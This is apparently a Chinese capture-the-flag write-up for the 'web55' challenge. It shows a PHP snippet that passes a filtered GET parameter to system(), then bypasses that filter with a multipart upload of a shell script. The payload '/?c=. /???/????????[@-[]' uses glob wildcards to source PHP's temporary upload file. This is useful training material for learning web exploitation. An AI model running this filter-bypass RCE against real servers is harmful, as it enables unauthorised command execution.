无字母数字的命令执行(web55)

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

知识点:

1.点命令

​ Linux中的点(.)命令,即source命令,可以用当前的shell执行一个文件中的命令,且是不需要file有x权限的。比如,当前运行的shell是bash,则. file的意思是用bash执行file文件中的命令

2.通配符的使用

​ glob支持**替代0个及多个字符

​ glob支持 ?代替1个任意字符

​ glob支持用[^x]的方法来构造“这个位置不是字符x”。

​ glob支持利用[0-9]来表示一个范围。

3.PHP保存文件机制

​ 当PHP接收到新上传的文件时,它会将上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpxxxxxx,后6个x为随机的大小写字母

开始做题

1.构造一个post上传数据包并抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包</title>
</head>
<body>
<form action="http:xxxxxxx/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

​ 将这段代码保存为html文件,然后,点击上传1.php(加入sh命令,如下),抓包即可

1
2
3
#!/bin/sh

ls

2.构造poc进行RCE

1
/?c=. /???/????????[@-[]

​ []中@-[代表ASCII表中从@[的所有字符,即A-Z

1

​ 由于随机生成后六位字符,具有不确定性,所以多尝试发包几次,总会成功的

参考文章:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://blog.csdn.net/qq_46091464/article/details/108513145

https://blog.sina.com.cn/s/blog_af68a2c201016nh2.html